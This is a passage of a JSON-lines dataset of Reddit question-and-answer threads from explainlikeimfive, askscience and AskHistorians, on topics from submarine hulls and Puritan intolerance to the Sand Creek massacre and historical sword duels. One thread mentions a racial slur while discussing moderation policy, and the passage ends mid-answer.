interior space efficiency (as you mention).", "I'm no expert, but I believe the big round shape is a structural choice rather than a hydrodynamic choice.  Spheres are stupendously strong when you squeeze them equally all over because any given spot on the sphere is trying to move it's neighbors out so that it can be forced in, but its neighbors are under comparable pressure so the forces balance out.  \n\nWith mostly-cones (as you see with supersonic aircraft) the pressure all tries to push the tip of the cone out (so that the parts under pressure can go in), and nothing in the geometry balances that force (obviously the choice of materials still does, but if a problem can be solved with geometry it should be).\n\nSuper-sonic airplanes use mostly-cones because they play by a different set of rules, they live in a compressible medium, so they try to hide as much of the airplane as possible behind the shock wave that the nose creates.  Much of the force is applied to the tip of the cone, which is the direction from which cones are very strong.", "Airplanes and submarines are optimized for different things.  An airplane goes very fast, loudly, while trying to take up as little fuel per mile traveled as possible.\n\nA submarine is trying to move as quietly as possible and survive as much pressure as possible.\n\nThus different shapes work best for those two things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bikernet.com/news/images/PhotoID28697.jpg"], ["https://en.wikipedia.org/wiki/Teardrop_hull"], [], []]}
{"q_id": "1jh0c8", "title": "why do moderators here allow the use of the word \"nigger\" but are quick to delete any post slightly disparaging homosexuals.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jh0c8/eli5_why_do_moderators_here_allow_the_use_of_the/", "answers": {"a_id": ["cbekjg3", "cbekjwo", "cbemubp"], "score": [6, 2, 2], "text": ["We allow *discussion* of the word, just as we allow abstract discussion of posts disparaging homosexuals. We do not allow people to use the word in earnest.", "Merely using the word \"nigger\" does not mean you are disparaging blacks, it's context-sensitive.  We don't filter the word \"queer.\"\n\nIf the actual content of what you're saying is offensive, then it gets removed.", "Like how schools have banned Huckleberry Finn for using the n-word.  If you are too stupid to acknowledge that Huckleberry Finn is actually a scathing indictment on the institutions of slavery and racism, and that the n-word is context appropriate in this piece of literature, you should not be an educator or be able to dictate education policy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e6lz0i", "title": "I heard it said once that: 'The Pilgrims left for the Americas not for their own religious freedom, but for the freedom to not live among those who didn't believe as they did' Is there any truth to this claim?", "selftext": "Beyond the title question, two more related questions:\n\n1) What religious freedom, or lack thereof, would a commoner in 16th Century England have?\n\n2) What doctrinal differences did the Pilgrims have from the Church of England?  Why did they feel that they needed to leave England to practice their religious belief?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e6lz0i/i_heard_it_said_once_that_the_pilgrims_left_for/", "answers": {"a_id": ["f9txuue", "f9urmh4"], "score": [16, 4], "text": ["Let me deal with the part about religious freedom here first. The claim you have heard is true. The Pilgrims at Plymouth and the Puritans who founded the Massachusetts Bay Colony wanted to practice their own faith. They did not support any wider concept of religious freedom. Other religious groups were barred from the colony and they had laws against blasphemy that were used to protect their version of theology\n\nBaptists were persecuted in the Massachusetts Bay Colony during the 1640s, and explictly banned by law in 1645. Punishments could be harsh. In 1651 for instance a group of three Baptists were arrested in Lynn, Massachusetts and convicted of re-baptizing adults (Baptists did this because they did not believe infant baptism was valid). All three were fined, one was whipped.\n\nQuaker fared worse than Baptists. In the 1650s Quakers who visited Massachusetts were branded, whipped or mutilated. Puritans who converted to Quakerism had their property seized. In 1659 and 1660 Massachusetts executed four Quakers;  Marmaduke Stephenson, William Robinson, Mary Dyer, and William Leddra. The Puritans would have likely killed more Quakers, but they were commanded to stop by royal command in 1661.\n\nPuritans also tried to purge dissenting theology within their own ranks. Puritan Minister Roger Williams claimed that the Puritans had illegitimately occupied native lands, which resulted in him getting tried for sedition and heresy. He was banished from the colony in 1635 and ultimately founded what would become the Colony of Rhode Island. Rhode Island allowed for religious toleration.\n\nIn 1638 the Puritans tried Anne Hutchinson in what is now called the Antinomian Controversy. The theology here is a bit complicated, but it resulted in the Massachusetts expelling Hutchinson and a number of other dissenters from their churches and banishing them from the colony.\n\nThe Puritans were more repressive than England, but it was matter of degrees. In England it was not until the 1689 Toleration Act that dissenting Protestants, who were not members of the Church of England, could worship freely. This provided religious toleration to Baptist, Quakers and Puritans, but did not allow such freedom to Roman Catholics, atheists, or non-Christians. That said, how much repression dissenters actually faced in England could vary a lot, both Quakers and Baptists still spread widely during the seventeenth century. Quakers and Baptists were sometimes arrested, but they were not killed like they were in Puritan New England.\n\nThe idea that society should tolerate of many religious views is a comparatively new one, it was only becoming common in Europe at the end of the seventeenth century. In the American colonies only Pennsylvania and Rhode Island would allow significant religious freedom for their residents. The Puritans were harsher than the England in enforcing their state religion, but both groups made religious dissent a crime.", "To your first question: anyone in England would be expected to belong to the Anglican Church, to conform to its rules and its dogma in much the same way the Catholic Church expected conformity. This conformity was  controlled by a hierarchy of priests bishops and archbishops, with the Archbishop of Canterbury at the head.  People were expected to go pay tithes to the local church, attend the services of  the appointed prelate, curate, or priest, go through the prescribed  rites of birth, marriage and burial. This was a matter of law:  the Uniformity Act of 1559 specified fines and punishments for people who did not attend or preached outside of Church authority. There was more repression under the Seditious Sectaries Act of 1593.\n\nWhen the Brownists ( AKA Pilgrims) separated themselves from the Anglican church and gathered to have church services among themselves, in one way they were more of a threat- many of the Puritans , as the name implies, wanted to stay inside the Anglican Church and, as USReligionScholar says, make it less Catholic: the concept of a human institution being able to grant salvation was distasteful to them. But to the Brownists ( though they would have changes of opinion, and Brown himself would recant) it was wrong to actually consort , be in a church, with people who were in error and, likely, damned. They created their own congregations, gathering under no authority but the general will of the congregation.  John Whitgift, the Archbishop of Canterbury under Elizabeth I, went to great lengths to try to stamp them out, and his successor, John Bancroft, continued the repression. Their church services were regularly raided, their members- especially their preachers- were often imprisoned and, in a few cases ( like Henry Barrow and John Greenwood), executed.\n\nOn an informal level, there was undoubtedly far more trouble for them: this was a time , as USReligionScholar says,in which  uniformity of belief was expected and non-uniformity was deeply unsettling. Even when the Brownists were not being arrested by the authorities, from William Bradford's writings we can infer that they were constantly harassed by locals, their businesses shunned, their houses continually watched for signs a forbidden religious service was being held...and, when they came to Plymoth, they and the Boston Bay Colony would carry on the same attitude and be equally intolerant of dissent, if not more so.\n\nDuring the chaos and disruption of the Interregnum of the 1650's, after the English Civil War, enforcing a uniformity of belief became impossible, and a great number of sects appeared. After the Restoration in 1660, there would be only limited attempts to harass them. But still: taxes, tithes, would be levied on everyone to pay for a local Anglican church, and even into the 19th c. non-conformists and Catholics would be in theory barred from going to a university like Oxford or Cambridge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8idc5a", "title": "Fascist / anti-Semitic elements in Hungarian revolution of 1956", "selftext": "When reading things by pro-Soviet communists I have run into claims that the Hungarian revolution of 1956 was caused by fascist agitators and involved anti-Semitic violence. With some quick searching I can't find any trustworthy sources for this. Is there any truth to either of these?\n\nAdditionally, I would be interested in how these things have become  a part of the \"official\" version of history for (at least a part of) pro-Soviet communists.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8idc5a/fascist_antisemitic_elements_in_hungarian/", "answers": {"a_id": ["dzctq1b"], "score": [2], "text": ["Hello!  \n\nI did research on the economic background of the 1956 revolution which included which elements of the populace were more against the system, I hope I can shed some light.  \n\nSo to start off yes indeed after 1956 the socialist regime offically took the stance that the \"counter\"-revolution was made by fascist agitators, that is both remnants from the WW2 nazi rule and US-injected agents. For one this kind of rhetoric was fairly typical of the 50s, anyone accused in purges, show trials etc were usually said to be imperialist spies or something along the lines. K\u00e1d\u00e1r needed to explain away the revolution that would both legitimize his rule and not totally jeopardize R\u00e1kosi's system, so saying that Nagy and others were merely seeking reforms would not cut it. No, they caused it because they were imperalists who wanted to destroy the works of socialism. They were also pressured by the Soviets to do so - although fights ended by november 10, in reality the country was in standstill for weeks due to strikes by worker-councils and various examples of obstruction and passive resistance (like postal offices refusing to forward or hand outletters, orders and newspapers). And so to cut the cord such activies were deemed counter-revolutionary which meant the promise of very heavy punishment.  \n\nNow how much basis does the claim of fascist agitation have? Basically none. After communist takeover Hungary public life was thoroughly purged. Having any connection to Horthy's rule however small became a huge liability and a ground for attack, displacement, punishment. The secret police and the system of snitches prevented any such organization and the threat of accusation and denunciation were a massive, daily Damocles sword. Stuff as simple as pure petty jealousy could cause you to lose your job or worse. [Foreign operations were similarly very minimal](_URL_0_) and CIA itself was suprised at the revolution.\n\nThe revolution's background is long tale that I won't touch on fully, but in short the economy was in a very bad state due to mis-management, huge military spending, investment into heavy industry drawing away more funds, war reprations and costs of reconstruction. Shortages of even basic goods were daily, agricultural reforms were a total failure. Purchasing power was further burdened by to mandatory state bond purchases. The idea I touched on in my research however goes further from here. Its argued that mere shortages, seen in other countries too alone weren't necessary enough of a push. After Stalin's death Nagy replaced R\u00e1kosi who started moderate reforms and liberization. Things started to go better until 1955 when R\u00e1kosi had deposed him and rolled back his reforms. The situation sharply declined again, and this, coupled with international (Austrian State Treaty, polish workers strike)  and some internal ones (like Rajk's reburial)  events now seen as the immediate background, that is people \"tasted\" what its like to have it better and it got taken away, plus they saw that change is possible in the world around them. This might as well be a hindsight but various personal testimonies I read claimed there was definately a change in the air during summer 1956 and that social unrest started to grow.\n\nAs for the people themselves,  the majority of revolters were 15-50 year old boys and men from lower-class background. While the initial push was made by university students and (leftist) intellectuals, the 'core' of the revolutionaries in cities were workers from factories and in the countryside peasents. As WW2 ended just over a decade ago, naturally many fought in the war or served in administration. Practically all high profile figures either exiled, or were tried and incarcerated/executed. The political leaders of the revolution were hardly new blood: Nagy's governement all served positions in R\u00e1kosi's rule, and the intellectual elite were largely leftist writers. Of the prisoners freed many indeed were affiliated with the Horthy-era, but the situation isn't so black and white. Hungary only came under full nazi rule late 1944 when the Arrow-Cross took over,  party which Horthy's governement very much opposed. Many politicans and military leaders in fact served in some ways even after 1949, the end of the republic, like general B\u00e9la Kir\u00e1ly. Besides the freed religious leaders, as far as leadership goes you could hardly find anyone a even just moderately leftist let alone right-leaning.\n\nI'll follow up discussing violence and anti-semitism in 1956."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://nsarchive2.gwu.edu//NSAEBB/NSAEBB206/index.htm"]]}
{"q_id": "1xt22l", "title": "how do i make a .gif my desktop background?", "selftext": "ive tried to google it but the sites want me to install software and I dont really trust them lol \nim running Windows 7 32 bit", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xt22l/eli5how_do_i_make_a_gif_my_desktop_background/", "answers": {"a_id": ["cfecmfc", "cfecoh9", "cfevyax"], "score": [3, 3, 2], "text": ["Windows does not have the ability to handle animated backgrounds without third party software.", "You can use [Dreamscenes](_URL_0_) look up dreamscene unlocker and run that. Be warned it's a touch buggy, nothing dangerous, just sometimes annoying.", "How much time do you spend looking at your pc without any open programs?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Windows_DreamScene"], []]}
{"q_id": "3fh88g", "title": "how do old film projectors with film reels get the audio for the movie?", "selftext": "It's just film, it can't transfer the sound too.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fh88g/eli5_how_do_old_film_projectors_with_film_reels/", "answers": {"a_id": ["ctokkcc", "ctolsz6"], "score": [31, 22], "text": ["They printed the sound track right next to the image on the same film. They either printed it magnetically, similar to the magstripe on your credit card, or optically. Here's a picture of both methods: _URL_0_\n\nEDIT: Here's a another picture where they used two-dimensional barcodes to encode Dolby Digital and an SDDS digital track: _URL_1_", "[Here](_URL_0_) is a video that answers your question and explains how all the parts of the projector work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://4.bp.blogspot.com/-HJ8XeuFF28g/UE2ISYg7W5I/AAAAAAAAACw/cjzo5WnJWdU/s1600/test.jpg", "https://upload.wikimedia.org/wikipedia/commons/thumb/1/1d/35mm_film_audio_macro.jpg/1280px-35mm_film_audio_macro.jpg"], ["https://www.youtube.com/watch?v=En__V0oEJsU"]]}
{"q_id": "1wk78n", "title": "Why does GPS work in tunnels, yet AM/FM/Satellite radio and cell signals do not", "selftext": "Everyday on my morning commute i will go through a tunnel that is about a quarter mile long.  The moment i enter the tunnel, the radio station i listen to cuts out (as expected), as well as cell reception.  However, while i am in said tunnel, my GPS navigation continues to update my position, speed, ETA.\n\nWhy is it that all other signals stop transmitting, or rather stop being recieved while i am in the tunnel, and yet my GPS nav continues to function?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wk78n/why_does_gps_work_in_tunnels_yet_amfmsatellite/", "answers": {"a_id": ["cf2wp3x"], "score": [15], "text": ["Your GPS receiver has an Extrapolation-function that allows it to Extrapolate your position based on course, speed, and what road you're on. So while it loses the signal after entering the tunnel, it knows where it was before entering the tunnel, it knows what speed it was going, and it know in what direction it was going. So it can make a pretty good prediction of where it currently is. Of course, the longer the tunnel is the bigger is the risk of the GPS receiver making an error, especially in tunnels that have multiple exits. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9fd9p4", "title": "Is the large curve of coastline between Florida and the Carolinas in any way related to erosion from centuries of hurricanes?", "selftext": "Every time I see a pic of a hurricane approaching the east coast, ot just looks like it would erode out more land int hat area.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9fd9p4/is_the_large_curve_of_coastline_between_florida/", "answers": {"a_id": ["e5w1a51"], "score": [15], "text": ["I'm more of a science enthusiast, but there is a phenomenon called \"Carolina bays\" that aren't fully understood, which may partly explain the curve. They're oval depressions that run up and down the Eastern seaboard. There's roughly 40-50k of them at least .1 hectare in size\n_URL_0_\n\n_URL_1_\n\nAside from that, the Low Country is very flat, very sandy, etc. The ocean keeps trying to moving the barrier islands (humans are very bent on that not happening), so I wouldn't be surprised if it was just ocean currents that contributed to that shape over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.tandfonline.com/doi/abs/10.1080/15230406.2016.1162670?journalCode=tcag20", "https://en.m.wikipedia.org/wiki/Carolina_bay?wprov=sfla1"]]}
{"q_id": "e7y9ja", "title": "why haven\u2019t bluetooth video projectors been invented yet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e7y9ja/eli5_why_havent_bluetooth_video_projectors_been/", "answers": {"a_id": ["fa7h5sa", "fa7hubc", "fa7olgp", "fa7yp1y", "fa833ud"], "score": [33, 11, 4, 2, 2], "text": ["Bluetooth simply doesn't have the bandwidth for video and sound at any decent resolution. Regular Bluetooth that doesn't have any of Bluetooth's 4 WiFi utilisation trickery has a bandwidth of about 3mb/s. It also has a relatively high error rate.", "Bluetooth barely has enough bandwidth to support audio, and the audio is still very poor quality (less than an mp3). If you could send video through Bluetooth, it would be at such a low bitrate that the image would be almost unrecognizable (think early 2000s flip phone quality).", "Bluetooth 4 can only theoretically do 25megabits/sec Max. It never does though. When it does transmit/receive at relatively high bandwidth, it's sporadic  &  not smooth. \n\nAnd also Bluetooth really really sucks. It really does.", "Bandwidth. Bluetooth simply cannot transmit enough data to play high quality video. The only wireless standards that can really support that kinda bandwidth is WiFi", "Also - as you say you've seen projectors with bluetooth audio - that's the other way - the projectors plays stuff and outputs audio to BT devices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "deww77", "title": "Would blowing a meteor up as it enters atmosphere lessen the damage to Earth?", "selftext": "Or just turn it from a cannonball into grapeshot?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/deww77/would_blowing_a_meteor_up_as_it_enters_atmosphere/", "answers": {"a_id": ["f2zimci", "f2zjtq6", "f2zljlk", "f2znyyh", "f2zr452"], "score": [45, 7, 4, 7, 5], "text": ["In principle, it will help. Of course it's all going to depend on the details - how fast it is, how big it is, how dense it is, how big the chunks are etc. So whether it's a significant difference or a small difference will depend on the situation.\n\nBasically, the drag force on a bunch of small objects is (usually) bigger than the drag force on one big object of the same total mass. Drag force is proportional to the cross-sectional area of the object. If the chunks are roughly spherical, then the cross-sectional area is proportional to the *square* of the radius of each chunk. So if each chunk is half the size of the original meteor, it has 1/4 of the cross-sectional area. But the *mass* of each chunk is proportional to the *cube* of the radius.\n\nSo, if you halve the size of a sphere, you get 1/4 of the drag-force acting on 1/8th of the mass. From F=ma, that means that each chunk has 2x the deceleration from drag.\n\nNow, you aren't actually going to blow up a spherical meteor into perfect spheres. But you should expect things to roughly scale like that - the smaller the chunks, the more drag force you get, and the faster the chunks will slow down.\n\n(Note that if you sliced up the meteor in some contrived way, the effect can be smaller - if you chop it into long thin cylinders, you still have a small cross-sectional area per mass. But this is not what you expect to happen if you blow something up.)", "It most likely would help, especially if the interception point happens right before the object interacts with the atmosphere. To basically, as you put it, change a Cannon ball into a grape shot\".  This way, it increases the chances of smaller pieces to burn up in the atmosphere, and spread the damage across a wider swath. \n\nBut if you have an intervention that happens too soon, the explosive might not be strong enough and (depending on density) the asteroid will essentially rebuild itself.", "[A better plan would be to alter its trajectory so it misses our planet.](_URL_0_) Depending on the size, breaking it up could make things worse. Contact a company that does blasting and ask them how hard it is to break rock - you have to drill into it and crack it. The movie Armageddon at least got that right. They're actually working on a viable plan in Rome right now.", "If it's a small one it will definitely help ensure that it won't reach surface and won't explode like Chelyabinsk one. \n\nIf it's a big one - there is no difference if it comes as a whole or in chunks, the total energy that comes into the atmosphere would be basically the same, nuclear winter and mass extinction ensues.", "Lessen the damage?   Only in terms physical impact damage (eg: craters and sonic blast).\n\nBut the energy added to the earth's system is still the same.\n\nWe're talking about a HUGE amount of kinetic energy in something (for example) as big as a football field.   When something that big is hitting the earth at several miles per second, it won't matter if it's one big hit or a hundred/thousand smaller hits... the kinetic energy of hundreds of megatonnes of TNT equivalent still will be dispersed into the earth's surface and atmosphere.\n\nif a small volume of atmosphere gets heated to 3,000 degrees with one big rock or 2,000 degrees spread out over a larger volume with hundreds of smaller rocks... it's still going to be disastrous\n\nThis is why deflection is the superior strategy if it can be done."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://techcentral.co.za/nasa-esa-working-on-plan-to-stop-asteroids-hitting-earth/92320/"], [], []]}
{"q_id": "3agjjj", "title": "We live in a time when people have vast enough wealth to practically buy their way into the Presidency. Is this unprecedented, or have there been other time in American history when this was a possibility?", "selftext": "I realize there have been wealthy people who could buy influence ever since there has been a United States, but it seems to me that they've done just that: bought and peddled influence, as opposed to just buying their ways into office.  Am I off base, or are we seeing something new in politics in terms of the access wealth provides?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3agjjj/we_live_in_a_time_when_people_have_vast_enough/", "answers": {"a_id": ["csci0et"], "score": [2], "text": ["Your question is based on the premise that you can buy your way into the presidency. While wealth is a vital part of national politics, you'd be hard pressed to defend the claim that anyone can simply buy their way into the presidency. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c1vfg4", "title": "if the moon has a big heavy mass that is not in the center, why is it on the far side of the moon and not the side closest to us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c1vfg4/eli5_if_the_moon_has_a_big_heavy_mass_that_is_not/", "answers": {"a_id": ["erfz6o8", "erfz9b4", "erfzgsz", "ergan78"], "score": [21, 133, 10, 5], "text": ["Due to the centripetal force of the moons orbit. If you stick a marble inside a balloon, blow it up, and tie a string around it then swing the balloon in a circle over your head what will the marble do?", "You know how, when you hang a bucket of water by a rope and spin it around really fast, the water presses to the bottom of the bucket, the side farthest from the center of the spin? It's like that, except with big rocks held together by gravity.", "From the report it's 4.8 quintillion pounds, which is actually only about .3% of the total mass of the moon. In my view that's just not large enough compared to the object as a whole to influence it's own position relative to the earth", "These centripetal force replies are not addressing the Earth's gravity well at all. The moon isn't spinning around us on a string and if you're going to play at that you have to explain why the heavy side wouldn't be more attracted to Earth.\n\nIs this something in the surface or are we just talking off-center center of mass by a bit?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3um9ah", "title": "; why did blackberries stop being popular?", "selftext": "They were among the first of the smartphones and seemed to have everything going from them, but not anymore. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3um9ah/eli5_why_did_blackberries_stop_being_popular/", "answers": {"a_id": ["cxfzdwz", "cxg2my8", "cxg4i9v", "cxg4k18", "cxg5108", "cxglr7j", "cxgo69v"], "score": [66, 14, 9, 4, 2, 2, 3], "text": ["Blackberry was focused on the business market. Originally it was only a business that could justify the expense of a smart phone so the apps were focused on the concerns of businesses. Apple came along and decided that hardware prices have come down enough that justified a consumer level smart phone. Apple focused on the general public and their phones were successful. Very successful. \n\nBlackberry stuck with the idea that there were going to be 2 markets, a business market and a general consumer market because business contract are very lucrative. The problem is that many business discovered that an Iphone more than met their needs and they switched. It's been very hard for Blackberry to switch gears and it's been a slow decline ever since. ", "The Blackberry Bold was my favorite phone that I ever owned. It had the best keyboard of any phone I've ever used, had apps for all the functions I wanted, was customizable enough, and never gave me any problems. The only reason I switched to iPhones is because of RIM's decline. I think the iPhones are great too, but sometimes I really miss the tactile keyboard and the ability to effortlessly swap out hardware components and use customized themes. Also, iPhones have Grindr, Jetpack Joyride, and great cameras. ", "Rim (BlackBerry) at one point was the smartphone market. They had no competitors and felt they could sustain this for a long period of time. Unfortunately they decided never to change. Enter apple and Android. They tried to change too little too late and lost the hardware war. They still make some minimal hardware but the majority of their money now comes from the software end. They purchased their partners that made the encryption software. They now own front to back end encryption and are just making applications for all operating systems. They are still the safest and most secure. ", "Because Apple and Google changed people's perception to what a \"smartphone\" was with the move to a fullscreen/multitouch UI. Blackberry resisted the paradigm shift until it was too late.", "Because old people use them. Also known as business people. People use their phone for fun and the blackberry is meant for business", "iPhones. Remember the tag line \"there's an app for that\"? BlackBerry doesn't have that. \n\nBack in the day, Evernote was awesome. But! Compared to other iOS apps (even in its youth), it pales in comparison. \n\nRemember angry birds? You can play that. On. Your. Phone. How's BlackBerry going to compete with that? \n\nThe strength of BB was in the email and BBM. iPhone and its apps made short work of that. Email on your phone became common, and BBM became just another instant messaging app.... A bad one at that. (It's 2015 and it's still one of the bloated and awkward IM apps in existence!) \n\nSo if you owned a BB and your friend owned an iPhone the difference in what your phones can do was really obvious. You *wanted* an iPhone. \n\nAnd *then* arose Android. BB got no chance. None. Zero. ", "Totally thought this ELI5 was related to the fruit, not the phone. Hows that for a loss of brand recognition?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1vh6kh", "title": "Historical accuracy of McCarthy's \"Blood Meridian\"", "selftext": "I recently read Cormac McCarthy's *Blood Meridian*, and I'm interested in opinions regarding the historical accuracy of the novel's depiction of the Glanton gang and general circumstances of mid-19th century life.\n\nI understand McCarthy based the novel largely on Samuel Chamberlain's *My Confession: The Recollections of a Rogue*. I'd love to read it, but available copies are currently out of my price range.\n\nI'd appreciate any recommendations for books or resources describing mid- to late 19th century life in the American Southwest. I'd also be interested in books other than Chamberlain's detailing the exploits of the Glanton gang.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vh6kh/historical_accuracy_of_mccarthys_blood_meridian/", "answers": {"a_id": ["cesi03t", "cesikqu", "cesp9ts", "cexaz91"], "score": [8, 10, 2, 7], "text": ["I can't speak to the historical accuracy of *Blood Meridian,* but *Life* published a serial version of *My Confession* in three parts in 1956, and you can read that online:\n\n[Part I](_URL_0_)\n\n[Part II](_URL_2_)\n\n[Part III](_URL_1_)\n\n", "_URL_0_\n\nAccording to the Texas Historical Association, Glanton and his gang did contract with authorities in Chihuahua to hunt Indians, and Glanton did kill Mexicans for extra scalps.  He also eventually seized the ferry crossing and was attacked by the Yuma Indians.  \n\nI own a copy of Chamberlain's book published by the Texas Historical Society, a great massive hardback which includes water color paintings by Chamberlain as well.  Very entertaining, but Chamberlain is a known liar as a few claims involving his presence at various battles have proven false.\n\nMany of his stories such as the Mad Priests massacre of young women came second hand, and another encounter with a ghost was likely fueled by mescaline.  \n\nMcCarthy likely used Chamberlain's memoir primarily as a source for Judge Holden, as it is the only historical account of the Judge existing.  \n\nOne interesting account from the memoir is Judge Holden lecturing the Glanton Gang on geology.  The scientific knowledge of Judge Holden seems advanced to me, and the Glanton Gang disregards the Judges views on the age of the Earth because it differs from the Bible.", "I can't quite speak to the accuracy of the story itself, but I do know the historical impact the episode had. In response to the massacre by the Yuma indians at the Gila ferry, the US Army sent SP Heintzelman of later Civil War fame to pacify the tribe. Fort Yuma, which had been abandoned, was now reoccupied and would eventually become a major proving ground for military ordnance.", "\"I saw the bodies of those lying there cut all to pieces, worse mutilated than any I ever saw before; the women cut all to pieces ... With knives; scalped; their brains knocked out; children two or three months old; all ages lying there, from sucking infants up to warriors ... By whom were they mutilated? By the United States troops.\"\n\n\u2014John S. Smith, Congressional Testimony of Mr. John S. Smith, 1865\n\n\"Fingers and ears were cut off the bodies for the jewelry they carried. The body of White Antelope, lying solitarily in the creek bed, was a prime target. Besides scalping him the soldiers cut off his nose, ears, and testicles-the last for a tobacco pouch.\"\n\n\u2014Stan Hoig\n\n\nThese passages seem like they could have been pulled out from *Blood Meridian*, but they were actually the vivid descriptions of the Sand Creek Massacre in 1864 during the Civil War.  \n\nYour question stuck with me for some reason. I'm a big Cormac McCarthy fan and also read a lot about the US Civil War. There were a few instances that came into my mind when you originally asked your question, but none of the things that I've read about the Civil War would have contributed to answering the question until I read about the Sand Creek Massacre. \n\nMcCarthy had to have used this as his inspiration for writing the scene where the Glanton gang massacres the Indian tribe. I looked online and there is surprisingly no mention of McCarthy doing this but even a cursory look at the battle makes it seem like he almost lifted it verbatim. \n \nThe men, led by Col Chivington a veteran of the New Mexico campaign, who participated in the massacre were all American soldiers. This group of about 700 men attacked an Indian tribe who was trying to make peace with the United States--they were flying an American flag at their campsite and flew up a white flag as soon as the attack started--and believed they were under the protection of the US.  \n\nMost of the Indian men of the tribe were off hunting buffalo but Chivington's men slaughtered the remaining men, women and children who were there. The attack happened before dawn, \"The Indians lay sleeping in their lodges pitched in a bend of the creek at their back.\"  The soldiers cut off their scalps, genitalia, and fingers to display on their horses and the tops of their hats. After the battle was over the soldiers prowled amongst the wounded Indians taking more scalps and battle trophies. This reminded me of *Blood Meridian* to a tee.  \n\nMany of the men got drunk before the massacre and some of them even refused to fire on the Indian tribe.\n\nI pulled all of this from Shelby Foote's *Civil War Narrative Vol. 3* pgs. 725-726.  It shocked me to read this and I immediately thought of your post. I also read about this on Wikipedia which corroborated all the things Foote wrote. It made me sad to think that American soldiers did this during the Civil War. There were problems with a certain group of Indians; the Indians that were massacred weren't the issue, and this event caused much of the problems that would follow in later years. The indiscriminate killing of infants and children by American soldiers was quite shocking. With the Glanton gang I always thought, \"These are outlaw men and fiction; not real people or American soldiers.\"  \n\nI can only imagine what happened in the lawlessness of the west in the 1840's and 1850's if this was happening during the Civil War.  I guess I found out McCarthy's *Blood Meridian* was more truthful than I ever thought.   \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=5EgEAAAAMBAJ&amp;lpg=PP1&amp;pg=PA71#v=onepage&amp;q&amp;f=false", "http://books.google.com/books?id=cEgEAAAAMBAJ&amp;q=Chamberlain#v=snippet&amp;q=Chamberlain&amp;f=false", "http://books.google.com/books?id=cUgEAAAAMBAJ&amp;lpg=PA52&amp;pg=PA52#v=onepage&amp;q&amp;f=false"], ["http://www.tshaonline.org/handbook/online/articles/fgl02"], [], []]}
{"q_id": "1pgzlc", "title": "Sword fighting", "selftext": "Popular fiction often portrays skilled swordsmen from Medieval or Renaissance times dueling. Sometimes the fights go on for a while. Assuming in the 14th through 17th centuries in continental Europe two skilled sword fighters were engaged  in a fight that was to continue until one was too seriously wounded to continue, how long would we expect that fight to last? Would the fight resemble modern fencing?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pgzlc/sword_fighting/", "answers": {"a_id": ["cd2a1k2", "cd2fmrp"], "score": [8, 3], "text": ["I generally focus on dueling in the late 18th century on wards, so it isn't the exact time period you are looking at, but I can offer some insight on that front, as it is really one of my favorite topics to babble about.\n\nAt times, dueling was exceptionally deadly, but by the 19th century, fatalities were lower -  dueling with swords was also generally less chance of being fatal, which I'll get to later - and once you get to duels in the 20th century, almost unheard of.\n\nDueling bore some resemblance to modern fencing, but if you are a foilist or saberist, obviously there is a distinct lack of right of way. When you're hit, you're hit. But unlike in Epee, just because you are ahead doesn't mean you can trade double touches! Point being, attacks are often much more conservative, and defensive fencing is the norm. The arms were almost always the parts most hit, and obviously, not especially fatal. In fact, in many duels the blades would be not only cleaned before the duel began, but after a hit, the duel would stop for a doctor to bandage it and again disinfect the blade. \n\nA number of duels happened in the 20th century, and [I previously did a write-up about that which you can find here.](_URL_0_)\n\nI also did a write up on [dueling etiquette](_URL_2_), if the nitty-gritty of that interests you. The short version is that duels were not to first blood by agreement, but went until honor was satisfied, which could be merely showing up, or until one duelist could no longer fighter either from death or injury.\n\nAlso, I for some reason didn't include this there, but [Aldo Nadi's description of a duel he fought is fantastic.](_URL_1_)", "HEMA practicioner (and historian) here. 14th-16th century *fechtbucher* (\"fencing books\") were almost exclusively aimed at unarmormed longsword fighting for (judicial) duels. The fight would not in any way, shape or form resemble modern fencing (which is a sport and not a martial art), you will have to go 17th-18th century and small sword fencing for anything even remotely resembling it. One-handed sword and buckler fencing (commonly referred to as I:33 after the name of the manuscript) is still more like long sword fencing than modern fencing.\n\nI am most comfortable with Lichtenauer (hugely influential fencing master) but have read treatises from, and practiced, Fiore and Talhoffer among others, so I will start with him. You have four basic defensive maneuvers in combat, straigh parry into bind (which, 